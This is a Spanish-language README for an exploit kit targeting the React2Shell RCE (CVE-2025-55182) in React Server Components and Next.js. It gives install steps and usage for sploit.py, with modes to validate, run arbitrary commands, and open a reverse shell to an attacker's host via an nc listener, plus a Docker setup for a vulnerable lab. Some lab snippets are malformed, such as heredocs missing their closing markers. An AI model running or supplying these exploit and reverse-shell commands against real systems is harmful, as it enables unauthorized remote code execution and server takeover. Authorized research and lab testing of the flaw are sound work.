
Un sencillo kit de herramientas para validar, explotar y obtener un shell interactivo mediante el RCE de Next.js react2Shell.
[!WARNING] Esta herramienta se proporciona únicamente para pruebas autorizadas y fines educativos. El acceso no autorizado a redes y la exfiltración de datos son ilegales. Los usuarios son responsables de asegurarse de contar con la autorización adecuada antes de usar esta herramienta en cualquier red.
Este repositorio contiene un kit simple para validar, explotar y obtener un shell interactivo a través de CVE-2025-55182, también conocida como React2Shell. Se trata de una vulnerabilidad crítica de ejecución remota de código (RCE) previa a la autenticación en React Server Components (RSC) que afecta a las versiones 19.0.0, 19.1.0, 19.1.1 y 19.2.0.
La vulnerabilidad se origina por una deserialización insegura en el protocolo Flight de React, lo que permite a atacantes no autenticados ejecutar código arbitrario en servidores vulnerables. Fue divulgada el 3 de diciembre de 2025 y tiene una puntuación CVSS de 10.0 (Crítica). Aunque afecta principalmente a React Server Components, tiene implicaciones para frameworks como Next.js que utilizan RSC.
Nota: Este kit está destinado únicamente a fines educativos y de investigación. La explotación no autorizada de vulnerabilidades es ilegal y poco ética. Úsalo con responsabilidad y solo en sistemas que poseas o para los que tengas permiso explícito de prueba.
Para más detalles, consulta los avisos oficiales:
requests, argparse (instala con pip install -r requirements.txt)git clone https://github.com/J4ck3LSyN-Gen2/CVE-2025-55182.git
cd CVE-2025-55182
python3 -m venv CVE202555182Venv
python3 -m pip install -r requirements.txt
source CVE202555182Venv/bin/activate[.fish]
git clone https://github.com/J4ck3LSyN-Gen2/CVE-2025-55182.git
cd CVE-2025-55182
pip install -r requirements.txt
El script principal es sploit.py. Ejecútalo con las siguientes opciones:
python sploit.py --help
--target <URL>: La URL objetivo (p. ej., http://vulnerable-site.com).--mode <validate|sploit|shell>: Modo de operación.
validate: Comprueba la vulnerabilidad sin explotación.sploit: Ejecuta un comando personalizado.shell: Establece una reverse shell interactiva.--command <CMD>: Comando a ejecutar (obligatorio para el modo sploit).--lhost <IP>: Host local para la reverse shell (obligatorio para el modo shell).--lport <PORT>: Puerto local para la reverse shell (por defecto: 4444).Validar la vulnerabilidad:
python sploit.py --target http://example.com --mode validate
Explotación con ejecución de comandos:
python sploit.py --target http://example.com --mode sploit --command "whoami"
Obtener un shell interactivo:
Primero, configura un listener (p. ej., nc -lvnp 4444), luego:
python sploit.py --target http://example.com --mode shell --lhost 192.168.1.100 --lport 4444
Para análisis técnicos en profundidad:
{
"dependencies": {
"next": "14.3.0-canary.77",
"react": "19.0.0",
"react-dom": "19.0.0"
},
"scripts": {
"dev": "next dev",
"build": "next build",
"start": "next start"
}
}
rm tsconfig.json
mkdir -p app
# app/layout.tsx
cat > app/layout.tsx << 'EOF'
import "./globals.css";
export default function RootLayout({
children,
}: {
children: React.ReactNode;
}) {
return (
<html lang="en">
<body>{children}</body>
</html>
);
}
echo "/* minimal css - required by Next.js */" > app/globals.css
cat > app/page.tsx << 'EOF'
export default function Home() {
return (
<main>
<h1>react2shell lab is running!</h1>
<p>Start sploiting → /api/vulnerable-endpoint</p>
</main>
);
}
FROM node:20-alpine
WORKDIR /app
# Copy only package files first (better caching)
COPY package*.json ./
# Install dependencies with legacy peer deps (required for this old canary)
RUN npm install --legacy-peer-deps
# Copy the rest of the app
COPY . .
# Remove tsconfig.json so Next.js doesn't try to auto-install TypeScript (this was the killer)
RUN rm -f tsconfig.json
# Build the Next.js app
RUN npm run build
# Expose port
EXPOSE 3000
# Start the app
CMD ["npm", "start"]
docker build -t react2shell .
docker run -d -p 3000:3000 --name react2shell react2shell
→ http://localhost:3000Ya está. El contenedor arranca en <2 segundos y está listo para cadenas de prototype pollution → RCE.Línea opcional para eliminar y reiniciar en cualquier momento:bash
docker rm -f react2shell && docker run -d -p 3000:3000 --name react2shell react2shell
Consulta el blog de seguridad de AWS para inteligencia de amenazas.
Esta herramienta se proporciona "tal cual", sin garantía. El autor no es responsable de ningún uso indebido o daño causado por este kit. Obtén siempre permiso antes de probar vulnerabilidades.
¡Las pull requests son bienvenidas! Para cambios importantes, abre primero un issue.
Este proyecto está licenciado bajo la Licencia MIT; consulta el archivo LICENSE para más detalles.
